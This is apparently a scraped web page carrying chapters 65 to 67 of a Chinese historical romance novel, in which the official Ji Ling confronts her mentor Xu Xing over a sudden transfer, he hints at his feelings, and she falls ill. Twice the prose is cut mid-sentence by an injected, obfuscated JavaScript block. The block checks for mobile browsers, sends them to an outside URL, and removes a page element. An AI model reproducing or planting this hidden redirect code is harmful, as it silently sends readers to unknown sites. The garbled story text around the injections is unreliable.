林微疑惑看去,终于像是领悟到什么一样,转头跟季泠悄声说:“我之前一直觉得章观政很像一个人,一直想不起来,现下看他这样,终于是知道像谁了。” 季泠凑过去:“像谁?” 林微一字一顿:“徐大人。” 季泠仔细看,认可地点了点头:“好像是有点像徐行他爹,你看看那气势,那...” 林微拍了她一下:“不是徐行他爹!就是徐行。” 季泠皱皱眉,左看右看:“哪里像了?你看他那么严肃,徐行虽然有时候板着脸,但也不是这样吧?整体来说还是比较好相处的。” 而后,季泠又意识到不对劲:“不是,我才是他的上司!他可是我带出来的兵,怎么能像徐行呢?” 接着又愤恨地撸了撸袖子,将笔放下:“他不会是徐行的细作吧?徐行将他训练好了,送到我这儿,监视我?他现在没有我的把柄了,怕拿捏不住我了!又要想个新招数,来对付我!” “你有什么值得他对付的?”林微提醒她。 “这你就不懂了!把柄这种东西,就和贪官眼里的钱一样,取之尽锱铢。他们那些人都是这样的,眼线遍布天下,手握万千证据,总有能用到的一日。我现在是没什么值得他对付的,可他若是有一日想要在户部中有个帮手,就可以用他手中东西,对我威逼利诱。” 季泠信誓旦旦,越说越激动,引的对面发章钧龄朝她们俩看来。 季泠立刻板起脸,像是抓到他开小差般,皱了皱眉。章钧龄淡淡低头,继续忙着她交代的校对事宜。 季泠松了口气,抬袖遮住脸。 “你看,他多敏锐。”她忍不住发笑,想要证实自己的猜测。 林微哑然而笑:“你太草木皆兵了吧?把徐大人想得忒黑心了些。” “你不懂,这是我极其敏锐的政治嗅觉。多亏这点,我才没被闫有德他们害死。” 林微:“……” 65. 无印文书诱她质问 秋粮之事将毕,眼下就等着湖广那儿的账簿全部汇总而来,季泠稽核无误之后,便可暂时放下此事了。 自从年初往华峰书院走了一趟,见了那两位姑娘之后,季泠便时不时与其相会。 她眼下还年轻,还是令人差遣的小鱼小虾。 可她要为自己的日后打算,总不能身边一直没有得力之人,林微一人实在不够,可若是下面选出来的,服不服她不说,就怕日后利益不合,分道扬镳。 倒不如直接从书院中选几个好苗子,一手栽培起来。如此一来,那些姑娘跟着她,不说前途光明,但总比自己单打独斗来得顺畅。 章钧龄是很不错,底子也干净,可是终究是吏部选来的人,她虽放开了让章钧龄去做,可正是章钧龄学得太快,才更让她不安。 一旦这样的心思生起来了,她便要着急忙慌地压下,生怕自己冒出类似于沈赟偕那样容不得他人的念头。 季泠坐在书案前,难得空闲的思绪又神游物外去了。 徐行到底是什么意思呢? 季泠突然有些后悔。沈赟偕一事她不该让徐行插手的,这本就是她自己的私事。 她那日还莫名其妙地在徐家哭了一遭,回来睡了一觉后,才恍然发现自己究竟有多么荒唐,可当时她却没能控制住自己,竟就放纵逾礼了。 这已经是年前的事情了,可她竟然到现在才有空来剖析。可不过思索了那么三两刻,林微送了案呈来,她立刻又抛下了。 “总归不是什么大事,随它去吧。料想这样的小事,徐行那种大忙人是不会记得的。 反正那日的情形她也快忘光了,还何必拿过往来庸人自扰。 可偏偏就有智者要来扰她。 季泠接过新进案呈时,林微将才收到的东西递给了她。 “什么?” “抱月才送来的。我看封了印,未敢擅自打开。” 季泠一看,突生不妙之感。 这文书,看起来,似乎是官职任免的。 可是,官职任免的文书又怎么会私下给她?而且,似乎也未加盖吏部用印。 三下撕开,季泠控制住内心的不安,急急略过文书内容,一股火直冲天灵,拍案而起。 “套车!立刻!” “怎么了?” 季泠将手中的公文甩在案上,疾步走出浮云堂。 马车内,季泠仍未平息,紧紧攥拳,恨不得一掌劈死那人。 林微见她这样激动,出言安抚:“执庸,这样不好吧。跟徐大人对上,不是什么好事啊。” “我不管好坏!我倒是要去问问,他莫名其妙的来这一出,是要对我这个学生做什么!他是吏部侍郎了不起吗!再大的官也该讲规矩道义吧!凭什么随意就把我调离了!” 季泠越说越上火,看见林微放在小几上的那张文书,立刻抓过,将其撕的稀巴烂,好平复自己的愤恨。 “欸!这可是公文!你怎么撕了!“ “狗屁的公文!你看看,装作公文的样子,上头哪有吏部的任何公章? “该死该死该死!这个徐行!枉我之前帮他那么多回!” 季泠仍不解气,将每一片纸片都捡起来,咬牙切齿地撕成雪花般的碎片,才算满意。 “大人,徐宅到了。”马车刚到徐宅门前,季泠正欲风风火火地跳下车,就看见门前熙熙攘攘走过的人。 她当即冷静下来,放下帷帘又坐了回去,闭上眼深呼吸了几下。 她太冲动了。她现在不是无名小卒了,这样气势汹汹地冲进去,不过一个时辰,势必在京城的各臣家中,茶楼饭馆里掀起一阵波澜。 思考须臾,马车里传出沉重又克制的声音:“绕道去玉兰胡同吧。” 那个胡同里有几颗玉兰树,四五月份时,玉兰花一茬茬地盛开,风动暗香城,始知玉兰开。 不少孩童会在树下玩闹,跳皮筋,吃糕点。 花瓣掉落时,夜晚里,乍看过去,像是一地白霜。 小孩儿会在树下等着花儿落下,扮作是“天女散花”,沉醉其中,稚童嬉笑,好不欢乐。 她当时入公主府没多久,偶然路过,也去捡了几片花瓣放入了荷包中,想要留存一点当下的记忆。 误打误撞中发现,原来这个胡同还通往徐宅的侧门,是平日采买的仆人走的。 不过斯须,玉兰胡同便到了。 季泠感受着陡然袭来的慌张慑住她,于是开口要求林微留在马车中等她。 “要不我还是陪你进去吧,徐大人心思深沉,万一有什么,我还能帮上你。” “不必,徐大人应当是不会害我。真要害我,我也走不到这里了。” 季泠苦笑,第一次冷静地旁观她与徐行的关系。 其实,她有些不自量力吧,仗着之前几次的侥幸成功,就自以为是起来了。她还未见过徐行真实面目,若是徐行发狠要对付她,她焉能活过今日? 可她偏要去,偏要赌一把。赌注是什么,她自己也不清楚。 徐家侧门前,季泠只候了半晌,迎星就出来为她引路。 他悄摸注意着季大人的神情,很不妙啊…… 少爷一定是疯了,听到季大人上门,不是担心她来兴师问罪,反而克制不住笑意,一副春风得意的样子,吩咐他快去将人带进来。 “少爷…”阅云看着他在堂中背着手踱步,欲言又止。 匆忙又急迫的脚步声掩盖住他的步声,徐行立定看去,迎星身后有一角寒霜若隐若现 季泠今天穿着一件暮山紫兰花纹圆领袍,梳了一个简单的云髻,斜斜地插了两只竹节银簪,平添几分摄人的清冷。 “季大人前来,可是有什么要紧事?”徐行故意打趣她。 “徐大人,这话怕是要下官问您吧?我可是哪里得罪了大人,以至于毫无风声,就把我调离了?大人不是不知道当下户部有多忙吧?” 季泠冷脸沉声,语气尖锐。她一走进行止斋,就看见徐行那副胜券在握的模样,更是怒气迸发。 徐行太会算计人心了,今日他前脚将消息传到石竹巷,定是后脚就作了她要来找他的准备。 她真想撒泼打滚,但她没有。季泠终究是克制住了自己,以免自己被徐行轻易看穿击溃。 可她转头看见徐行玩味的笑容时,却突生怆然。 她终究是他的学生,怎么样都落入他的陷阱之中。她自认修身克己多年,从公主府到朝堂,她苦心经营…可是现在,她就这样被轻而易举地被看透了,而自己却什么都做不了。 甚至她认识他那么多年,却越发看不透他了。 徐行站在堂中,本是晏晏而笑,上前迎她。迎来的是一双冷若冰霜的眼眸,他早有预料。可随后,那双眼睛却再无往日的奕奕神采,随着她极力压制的怒意,那抹亮光也逐渐黯淡沉寂。 徐行叹了一口气,摒退了众人,偌大正堂,只余下他们两人。 徐行走上前去,拉着季泠坐到右侧的太师椅上,而后端了一杯热茶给她,“先喝杯茶暖暖身吧。” 季泠抬头看了他一眼,却看不出徐行在想什么,只仍挂着那抹淡笑。从前她只觉得他真是好脾气,现在看,分明就是他无懈可击的伪装。 知道人为刀俎我为鱼肉,随机应变吧。她不说话,也不道谢,直接端起茶一饮而尽,随即重重地将茶杯敲在桌上,指尖都因太过用力而泛红。 茉莉花茶带来的热意蔓延全身,季泠满脑子都是对徐行违背诺言的痛恨,以至于看向徐行的眼睛甚至带上了几分挣扎的憎恶。 “先生是不是忘记了,您之前答应过我的事情。四个月后我就期满了。您现在是要出尔反尔吗?” 徐行走到左侧的太师椅边坐下,只道:“之前的承诺有效。只是临时出了一些变故,不得已才先将你调离。” 季泠冷笑:“哦?所以你才提前将章钧龄送进户部,就为了之后顺理成章地接替我的位置?再把我一脚踢出去?” “先生,我之前可帮过您不少次。原先出于身份的限制,我不得已将自己辛苦筹谋的利器熔断,全赠给您铸就您现在的辉煌。您这么快就全然忘了?” 季泠咄咄质问,语调逐渐冰冷。她转头看着徐行,她真想和他大吵一架,狠狠骂上两句,甩手就走。可徐行却缓了再缓,心平气和。 “我并 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“自然不止帮你,闫有德是个欺软怕硬的人,章钧龄看似柔和,实则强硬,章家又势强,闫有德多少也要顾忌几分。而且若是你出了什么事,他还能留在户部替你盯着,免得你回去之后被人鸠占鹊巢。” 季泠眉间紧皱,徐行的话为什么都在替她作打算,那他图什么?他们这样的人做事,不可能毫无目的,只是大发善心。 他还在迂回试探。 “你为什么这么帮我?这样大费周折,对你来说并没有任何好处。别拿你是我先生那套搪塞我。” “今日一闹,你也看得出来,我实际上不是一个尊师重道的人。先生智谋皆全,定然心知肚明,我对你的所有帮助,都并非平白无故,我从来都是挟恩图报的。” 徐行笑了,她已经将自己的底牌全部亮出来了。 坦白是信任的报春鸟。 季泠看等着他的回答,却见他缓缓站起,在堂中徐走几步,似乎在欣赏堂外院中的好景致。 季泠更加心烦意乱。 “我为什么这么帮你?”徐行语气轻松,季泠只能看见他的背影,却不见他的神情,难以揣度他的心思。 “你也是智谋皆全的人,现在换我来问你。” 徐行突然转身,朝她而来。 “为什么你觉得我是有意对付你,你还不知死活地找上门来?” 季泠被他问的梗住,徐行更进一步:“因为你知道,我绝不会害你,你只是想得知真相,所以来我这儿发一通脾气,再将积攒已久的疑虑都倒出来。你无法自行解惑,所以你要我如实相告。你理智上不信我,但你本心却信我。” 是这样吗? 季泠没有被戳破心事的慌张,而徐行愈说,她愈加困惑。 她真是这样想的?她有些迷糊了。 徐行的诱导仍不停止,在她耳边再次想起。 “航青,再如何不济,我也是三品侍郎,朝野内外,只有你一个人,敢一直这样与我说话。” 徐行走到她面前,居高临下,投下的一片阴翳挡住流入堂内的阳光,将她全部笼罩。 季泠紧紧攥着茶杯,不敢转头。 “你怎么不想想,我究竟凭什么,要这样放纵你?” 季泠喉间一滚,低头看了看手中的茶,一口咽下。 她的沉默已经表明了,她不知道。 66. 事中人只想心中事 徐行是三品大员又如何?在建州时,他就知道她是什么样的人了,她伪装难道有用吗? 她本来就是一个没规矩不识礼数的人,在熟人面前偶尔控制不住地宣泄本性,又有何妨? 徐行几乎已经将答案送到她面前了,但凡她用上在户部公务的敏锐,也该捕捉到答案的蛛丝马迹。 见她仍是傻傻地盯着茶,徐行终于叹一口气,坐回她身边,盯着她须臾,决定开门见山。 “小泠儿。” 季泠听到他过于亲呢的称呼,猛然睁大眼睛抬头看他。 接着,她就陷入那双难得起了些许波澜的晦暗眼眸中。 “你闭上眼,问问你自己的心,你不得不承认,你是喜欢我的吧。” 再听到他这样的话,季泠几乎被击中般剧烈地震了一下,她的心在胸前里跳得太疯狂,太急促,几乎都跳到她的太阳穴边,将她撞得头昏脑胀。 “徐先生,你说话要慎重些的。这样的称呼和言辞未免太不合适了。”她站了起来,避开徐行的目光,努力克制自己的慌乱。 徐行的手越过边几,宽袖掠过,拂倒了她适才放下的茶杯,余下的三两滴茶汁沾在他的腕骨上。 季泠的手腕一紧,她低头看去,已经被徐行的力道带到他身边。 徐行的手背青筋微隆,骨节如峦,四指将她手腕扣住,拇指却在她的手心。 而她却如婴儿手中被塞入东西一样,下意识就攥紧拳头。 “看着我。”徐行出声命令她。 她虚幻的眼睛滞空摸索着,终于聚了焦,却迎面坠入徐行的目光。 那是一双深不见底的眼睛,平静的湖面下,究竟暗藏着怎样噬人的危险?季泠只觉得如临深渊。 “唉……你别怕我。”徐行终于发出意料之外的叹息。 他是要将季泠调离,避开当下的风头,她想做什么,大可以继续去做,只是这趟浑水没必要淌。 见到览风呈的密报,他着手筹谋,可终究涉及湖广,他要考虑到她的安危。 既然如此,他突发奇想,何不先将这个消息提前透给她呢?她一定会气急败坏,迫不及待地来兴师问罪。 他很久没有看见她不加拘束地表露性情了,他很乐意给她这个机会和空间,在他这里,她也不用担心会被人算计,被人发现弱点拿捏。 徐行的叹息在季泠耳边化作不绝如缕的嗡然响动。 徐行这是什么意思?说她喜欢他?他凭什么这么说? 虽然,似乎,他们已经算是至交了,她也确实在徐行面前多有放肆,屡次僭越。她亦信重他,听从直觉的教唆,不顾理智的劝说。 但,这是,喜欢吗? 喜欢两个字,几乎如烙铁,她甚至不敢说出口,若真说出来了,她的喉管只会留下一路灼伤。 她站在徐行面前,第一次居高临下地看着他,体验到与往常不一样的角度。 在她的俯视中,往日柔和的眉毛多生出几分凌厉,双眼如山谷清潭,陷在眉骨与鼻的横岭侧脊之中。徐行在审讯上一定是一把好手,若是旁人盯着他的眼睛久了,便如着了魔般,恨不得将一切都一吐为快。 季泠再次看向他的手,此时仍握在她的腕上,力道不算重,她能感受到他的克制,可她也难以挣脱。一袭道袍虽然宽大,可仅从他掌心与指节传递来的力量上判断,她便已经知道,潇洒清逸的柔蓝色道袍下,定蕴藏着厚积薄发之力。 便是这样片刻的打量,季泠已然被那个荒谬却似乎十分合理的猜测说服了。 徐行抬头,就见季泠一脸古怪地打量他,不过眨眼的瞬间,眼角眉梢的灵动又肆意萌生,透露出些许洞若观火的得意。 这下季泠神色的多重转变,倒是真的让徐行摸不着头脑了,他再是料事如神,也不会想到季泠能这样揣度他。 趁着徐行失神,季泠抽回手,好整以暇,整了整衣袖,饶有兴致地摸了摸鬓发,施施然坐回太师椅上。 双手叠交于膝上,看着敞阔的行止斋正堂,季泠心情大好。 她突然想起来,曾经看过一本市井闲书,里头就说,成亲之时,新郎可称为新郎官,替他添上一日做官的福分待遇,正是因为,那日新人最大,可略越礼制。 无官秩的新郎可穿上九品补子圆领袍,新娘则可穿上霞披。待到多年之后,立业掌家,夫妇即可坐在一堂之内、象征权力的主位太师椅上。 可见,一个官家身份,一方厅堂主位,是多么得人艳羡,士庶毕生所求。 而她季泠,靠着自己,都已经得到了。 不仅如此,她还能让吏部侍郎绞尽脑汁,却败兴而归。 既然她已经识破他的诡计,那她自然再不落下风了。想看她被美色所诱,落荒而逃,毫无招架之力,然后毫无阻碍地架空她,给他的人腾位置?做梦! “先生,再怎么说,我也是个博览群书,见多识广的人了。你这招计策,对我没用。”她狡黠地笑了笑。 这下该是徐行发懵了。 不过很快徐行就明白季泠误解了什么。 她可真是…太跳脱了… 也亏得她平日装得正经,没有让外头那些豺狼虎豹看出来。 徐行哭笑不得,复又正色道:“航青,我是认真的。” “你记得那个荷包吗?” “什么荷包?”季泠不解,怎么好端端的又扯到什么荷包上去了。 “上次我受伤,你将随身装着伤药的荷包给了我。” 季泠拍了拍脑门,这才想起来,当时事急从权,后来发现荷包落在流音阁,也没打算去找回来。 这样的东西,她篓子里一抓一大把。 就是可惜了那瓶金疮药,都是上好的药材,还挺贵的呢。 徐行见她想起来了,才继续说:“上次我入宫见圣,不慎打翻茶水,湿了衣裳,皇上准我到偏殿换下衣裳,服侍的小太监不小心,将我衣裳里的荷包抖落出来,被皇上看见了。” 季泠闻言,呼吸一滞,问道:“那……皇上可有说什么?你说了什么?” 徐行安抚她:“我自然是没说是你的,但这一看就知是姑娘家的东西,颜色绣花都是那么明显,瞒不过皇上的。皇上只是打趣儿,说定是我心上人的……” 季泠听后放下心来,耍起赖皮:“那徐大人自己想想如何与圣上解释吧。毕竟京城上有世家大族的小姐,下有富商平民的千金,个个都巴不得登你徐家的门,和你这位青年才俊结成良缘。大人大可以随意找位佳人,将这个荷包良缘安在她身上,我就不凑这个热闹了。” 徐行听了都被气笑了,直勾勾地盯着眼前人,俯身逼近她,嗓音低沉下来:“你以为...皇上的耳目都是吃素的吗...谁人的行迹举动不在天子眼中呢?”语毕,又深深地看了她一眼。 徐行的气息离她越来越近,季泠第一次感受到他通身袭来的压迫,危机感闪上心头,暗夹杂着细若柳絮的燥痒的慌乱。 季泠一把推开他,站了起来。“多谢先生今日为我做的考虑,学生会铭记于心的。只是先生,如今我已经出师,大可以自己应对这一切。你思虑周全,为我打算,本心是好的,但未必都是我想要的。” 季泠抬脚就要走,却又想到什么,突然静立住,思量了许久,才下定决心般走到徐行面前,固执而认真地看着他。 “先生,您也知道,官场上摸爬的人,什么都不怕,却只缺一种勇气,就是信任。” 徐行郑重点头。 “所以先生,信任很珍贵的,您不能骗我,不能玩弄我的真心。” 徐行含笑,再次点了点头。 “我不骗你。” 正当他还想更进一步,以期两人关系破冰时,季泠又开口。 “所以,您只是短暂将我调离是吗?章钧龄真的只是来观政,来辅佐我的?等到我三年期满,闫有德的位置就是我的了?” 徐行当即愣住,下意识蹙眉。 季泠一见,立刻着急起来:“你说啊!” 徐行无奈摇摇头,全是他自找的。随后便压住她的双肩,弯腰与她平视:“是,这下大可放心了吧?” 可季泠见他的表情一点儿不像谈公事时该有的慎重,心慌之余,一把抓住在她身前飘荡的柔蓝色大袖,再三确认:“真不骗我?” “骗你是小狗。” “徐大人!认真一点!” “本官作为吏部侍郎,在此立誓,今日所诺,绝无虚言。” 季泠终于得到明确答复,若是徐行这样还能骗她,她可就要去谭大人面前说道说道了,若他知道,他的得意门生竟然是个不守信用的骗子,徐行定讨不了好。 不过她相信,堂堂吏部侍郎,说话还是有些公信力的,八成是假不了。 既然她此行目的已成,自然载兴而归。 才转身行至门边,徐行喊住了她。 “航青。” 季泠转头:“还有何事?” “回去之后,莫要忘了,好好审一审,你的心。” 太阳已经落山了,侍女们退至院外,他们方才未曾点灯,正堂内有些昏暗。隔扇门只开一扇,季泠站在门槛边,将最后一抹余晖挡在身后,以至于她看不清徐行的表情。 在最后一抹余晖中,在徐行殷切的目光里,季泠带着转瞬而逝的慌张,落荒而逃了。只剩下她一片扬起的暮山紫衣角与淡紫色的夜幕融为一体。 徐行大步又轻声地跟着那片衣角,漫不经心地游荡到侧门,看见那片衣角着急地跨上马车,马车里传来林微的嗔怪与季泠略显惫怠的解释,随即被远去的马蹄声、马具碰撞声与车前小灯的晃荡声掩盖。 侧门后,阅云又在偷偷和览风抱怨。 “季大人究竟什么意思?且不说她是我们少爷的学生,就凭我们少爷是三品侍郎,她只是个六品主事,现在还只是七品给事中了,也该她向少爷拜别才是。每回都是咱少爷送她,天底下竟有这样的事?” 览风的声音轻飘飘传来:“二十三岁的主事,马上就要成郎中了,兴许还能做侍郎呢。咱们少爷这是慧眼识珠,礼贤下士。” 他轻笑摇头,快步走回行止斋中。 连阅云都瞧出他的荒唐了,事中人却只惦记着升官呢。 唉。 马车进了石竹巷,在林微的搀扶下,季 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446328|185112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 泠慢慢地走过垂花门,差点被绊了一跤。 进了浮云堂,季泠打发走了所有人。 林微一脸担忧:“你脸色很差,要不我去请个大夫过来?” 季泠挥了挥手:“不必,想来是前几日都睡得少。今日说话太久,有些累了,我今晚好好睡一觉就成。” 遣走林微,洗漱沐浴一番,关了隔扇门,季泠倒在床上,狠狠地抻了一下身体。 今日也实在奇异,她分明没多走动,不过是说了一下午的话而已,怎得累成这样,倒比跑马射箭还累上许多。 浮云堂里间内,只留下了一盏灯,昏昏晃晃,慢慢摇曳。夜里凉风从八角景纹支摘窗支起的留缝中吹进屋子里,把烛火吹的□□右倒,忽明忽暗。 许是过度的思虑劳累,季泠很快便入睡了。 但她这一夜睡得并不好,徐行的话不断在季泠的脑子里荡来荡去,搅的她不得安生。 从她初见徐行时的惊艳,徐行为她们讲学的专注,徐行鼓励她在营帐中畅谈自己的见解,徐行在刑部大狱中见到她的惊讶,徐行在千帆榭见到她装作舞姬时的嗔笑,徐行在她领凭时的庄重告诫…… 这些画面如皮影戏般轮番上场。 在一夜中,她独自走遍这八年来她与徐行相处的所有场景。 可怪异的是,越早的画面越清晰,反而是近一年来的交谈会面,几乎模糊的她看不清了。 …… 最后一幕,是徐行在今天下午的模样。他穿着柔蓝色道袍,外头是一件方棋暗纹褡护,站在行止斋正堂中,站在古朴庄重的太师椅与八仙桌前,便是一位谦谦君子。 可素来顾盼有威的徐大人,看向她时,总是略带笑意。张口之时,便是迁就她的、难等大雅之堂的戏谑之言。 皇上说,那个荷包是他心上人的,他也默认了… 在梦中,她应承了,她甚至能看到自己点了头,说她确实对他有几分的喜欢。 但是徐行站在光里,就像她第一次见到他那样,逆着光,连他鬓角边的发丝都因光的镀色而耀眼。 她看不清他的表情,不知道他究竟作何反应。 而后,她什么也看不到了,她的眼前是一团黑,一瞬间便坠入了无尽深渊,浑身像是要烧起来了,铁烙一般烫,疼痛从腿向上蔓延,到腰间,到脊背,最后到了脑袋上,她皱起了眉…… 翌日清晨,白芨白蔹布了早膳,却见季泠迟迟未起,方才发现她发热了。 林微替她去户部告了假,请了大夫,待到季泠被一阵药味熏醒时,瞅见三人都在她床前直愣愣地看着她。 “这是怎么了?我脸上有花?”然后摸到自己额头上的帕子,才明白原来自己是真病了。 昨晚她入睡时还有些冷,后来觉着越来越热了,还以为是因为做梦,睡的不安稳呢。 林微有些无语:“亏得你还笑得出来!多大的人了,睡觉也不知道关窗吗?你现下感觉怎么样了?” 季泠的里间少有人来,她不喜欢屋里太闷,白天都将窗子打开。先前林微说该放个屏风遮挡一下,她却觉得这样屋内浊气散不出去,不如什么隔断都没有,通透些才好。 “还行,就是头有些疼,身上还有些酸胀。”季泠撑着坐起来,白芨拿了个迎枕给她靠上。 “刚好才煮了桂圆莲子粥,你正好吃一些,回复一下力气。” 季泠应下,而后问道:“什么时辰了?“ “安心吧!替你告假了已经。“ 季泠不顾阻拦下了床:“替我走一趟吧,去衙门将我没看完的那些牒呈送过来。” 林微无奈道:“你不是已经被调离了吗?还上赶着做什么?” 季泠叹气:“调离又如何?接替我的我也不知道是谁,手忙脚乱地做了我也不放心,倒不如我自己来。反正吏部正式任命也没下来,在位一日,我就该尽心一日。去吧。” 第三日点卯后,阅云送来了账册。 “怎得又和河南扯上关系了?” 阅云道:“闫有德原是河南司的,河南司现任主事之前在他手下,两人私交不错。” 徐行翻阅着阅云所查的东西,不禁皱眉。 私交是不错,都一块儿去湖广了。 “季大人这两日在忙些什么?叫抱月去问问,若是无事,便约个日子见一面。” 阅云眉间一抽,将才得到的消息如是禀报:“抱月才回来禀,季大人告假了。” 徐行停手抬头:“告假?出什么事了?” “林姑娘说,季大人身体微恙,告的病假,太医去诊了,确实无误。” 病了?才与他见过面,便病了? 该不会是他吓着她了吧? 也是,是他未能考虑周全。那日公事私事一团糟,她又是那样爱多思忧愁的人,可不是要病了? 只是,眼下户部这件事,与她多多少少有些牵扯,若是他擅自安排了,她定要生气的。 ……总之她是个有主意的,又满脑子升官固权,倒不如将这件事交由她自己定夺,兴许还能给他带来意外之喜。 不过,湖广一事,对他而言,兴许是一个绝佳的机会…… 67. 烈酒一坛浮云一梦 入夜了,白芨和白蔹累了两日。 昨日夜间,季泠又复发高热,浑身滚烫,两人接替着照顾了一夜,白日又要继续做着活计,眼下已经是撑不住了。 林微见状道:“你们去休息吧,今夜我来守着。” 她虽昨夜未被动静扰醒,可这两日,她要为季泠兼顾湖广与户部的消息公文,也并不算轻松。只盼着季泠明日便好转,她也能喘口气了。 林微回了浮云堂,在次间圆桌边坐下,才倒了杯茶,就闻到些许不对劲的味道。 茶中有蒙汗药。 季宅少有外人踏足,是谁在暗处行事,又想图谋什么? 她小心地站起来,手无声地深入袖中,拿出她的小弩,神经紧绷。 院中,一个人影闪过,林微第一发被他避开了,正欲打出第二发时,手腕被暗中的人制住。 树影之后,一道熟悉的声音传来:“林姑娘,是我。” “徐大人…你!”林微着实是被吓了好大一跳,差点要喊出声来。 徐行示意她噤声,转身走入堂中。 “白日人多眼杂,我不太方便前来。你去休息吧,我来照顾她。” 林微十分防备,拦在堂中。徐行必然是带了人来的,不过眼下浮云堂只有他一人,外院之中,究竟有多少他的人,她不得而知。 他如此轻而易举地就入了季家,不得不让林微震惶于他的本事。 自张瑛与钱莘接连身死,谭谦入阁,徐行的地位已然今非昔比。林微不得不谨慎,恐惧之余,又须分神担忧,他究竟要对季泠做什么? 林微竭力支起勇气,对上徐行:“徐大人可知道,执庸就是从徐家出来后,当晚便病了。徐大人夜半潜入下官家中,此举未免有违礼数吧?” 徐行绕开她,直接坐于堂上太师椅边,淡淡开口:“我身边的人,嘴巴都很严实。我希望,林姑娘也是。” “徐大人!男女有别!” “我不会行不轨之举。” 林微仍不相信,徐行只好费神与她讲清:“户部将有动乱。” 林微一震,看着坐在暗中的徐行。 “所以,你该打起精神,为你的主子好好注意户部动静。我替你照顾她,你才可有精神专注与此。” 林微略松懈了些。徐行说的没错,户部之内,看似平静,静水流深,各怀鬼胎。她必须打起十二分的精神替季泠盯着,为她扫清阻碍。 “徐大人如何让我信您?” “若有不轨之意,本官何须等到今日来乘人之危?更何况,你的主子,深信于我。” 林微哑口无言。 僵持须臾,林微终于退让,只要求徐行将堂前的隔扇门打开。 徐行应下了。 其实林微也知道,此举只防君子,不防小人。但凡徐行真想做什么,她林微又怎么拦得住呢? 站在次间的栏杆罩边,徐行沉思了许久。 他下这个决定时迅速的毫无顾忌,可眼下,他畅通无阻地来了,反倒止步难行了。 若是季泠醒后知道了,会怨怪他不守礼节吗?他在她心中的形象会不会一落千丈?他今日的偭规越矩,会不会将迟钝又敏感的她越推越远呢? 徐行盯着栏杆罩边的那盆惠兰出了神,直至指腹传来叶片磨砺的锐痛,才恍然醒神。 他既已如此放纵自己,做了此等荒唐行径,又何必心口不一呢。 思及此处,暗自嘲讽一番,徐行抬步入内。 走入里间,灯火朦胧,拢过来的就是一阵药味。 架子床边的脚踏上,那双鞋被踢得失了规整,摇摇欲坠。 想是床上的人听见了脚步声,低喃从影青色绡帐中飘出:“水……” 徐行轻步上前,倒了碗水,可站在床前,伸出的手在触碰到绡帐时,顿时停住。 床上的人略动了动,被子越出床沿,将绡帐揭开一个小缝,掠过徐行指尖,叫他不禁瑟缩。 “水……”脆弱的轻吟顺着绡帐小缝,钻到他的指缝之中,他攥了攥手。徐行掀开绡帐,借由沉沉烛光,看见了床上的人。 季泠没醒。 他的身体挡住影影绰绰的昏黄灯光,看向床上隆起的身体,看不清她的脸。 可他依旧在床前,维持着一手端水,一手拨帐的姿势,长久静默地站着。 他在想她平日在户部那副风风火火又不容置疑的模样,在想她在朝堂中规行矩步却偷摸打量的小动作,以及她在他面前愈加克制、却又愈加放肆的矛盾。 最终,徐行的手略微酸了,终于将绡帐钩起,以昔日考科举时,放下墨迹未干的试卷的那种小心翼翼,在床边坐下。圆桌上的桌灯穿过他的袖缘,洒下一层柔光,将季泠的脸照亮几分。 徐行终于看清她,不同于三年前、她因剑伤卧床时的模样,此时的季泠,流露出外人绝不可见的、在确切熟悉又绝对安全之地才有的,放松的脆弱。 床边,那只拂过绡帐的手最终停留在沉梦中人的脸颊上,他的冰凉刺激着她的炽热,她情不自禁地寻找凉意的来源,自行贴了上去,发热带来的痛苦诱发她的低哼,牵动她的眉头。 徐行轻吐一口气,将她扶起,靠在他的肩上,转过身舀起水,又转回身,让温热甘霖流入因体热而干裂的嘴唇中。 身前的人无意识地吞咽,他扶着她的肩,转身又回身,转身又回身…… 他不敢太使劲,没轻重的手会加重她的病痛,又不能太放松,生怕她靠不住他的胸膛而滑落。 这样一件小事,竟叫他左也不是,右也不是。 以至于将怀中的人放下、沾了帕子替她润了润唇、掖好被子别让风漏进去,都要他十足地控制好力道,大臂竟比掷石锁还要酸胀,脖子也比伏案苦读更要疼痛。 看着沉睡的人再不梦呓,他终于宝珠入椟般地松了口气。 窗外月明中,西府海棠树下,一叶人影与花影相合,直到徐行起身,才悄声离开。 夤夜时分,蝉鸣休止。徐行坐在床前,于浅寐中醒来。望了望天色,再过不久,天就要亮了。 再度伸手摸了摸季泠的脸,却是不减分毫的滚烫。 若是再这样烧下去,非得烧坏脑子不可。他幼时就见过,有的小孩儿连烧三日,竟从此痴傻了。 徐行起了身,在床前频频踱步。 下一刻,徐行抬步走出浮云堂,在万籁俱寂时寻找方向,站于一侧小门之前,犹豫片刻,还是叹气走入。 在小厨房中翻找许久,终于找到一坛子烈酒。 回到里间,借由桌灯一照,他的袖缘与衣摆处也不知是蹭上了什么,花黑一片。 可也不容他注意容饰,床上的人时刻抓着他心中那只火折子,总时不时给他刚要冷静下的心又添上一点火,叫他欲罢不能地自讨苦吃。 徐行拿着那方浸满酒的帕子时,脑中一个念头一闪而过。 若是她醒后,知道他擅自用了她的酒,会不会生气呢? 帕子上的酒香在他鼻尖萦绕,倒是一坛佳酿。 不管了,大不了他加倍赔给她就是。 徐行暗笑自己奇异的胡思乱想,坐回架子床边。 虽是阳春时节,即使夜里也还有些凉意。徐行将盖在季泠身上的被子往下拉了拉,露出她半截身体。 季泠穿着茉莉纹缟羽中衣,袖口和领口绣着梅花枝叶。没了被子的遮掩,便让徐行不经意瞥见略松的领口与早已跑到手肘的袖子。 和上回一样,即使是带病,睡觉也仍旧不老实。 徐行无奈摇头,将她的袖子挽起,却遽然一怔。 他还以为,她背上的伤痕便已经够多了。原来远远不止。 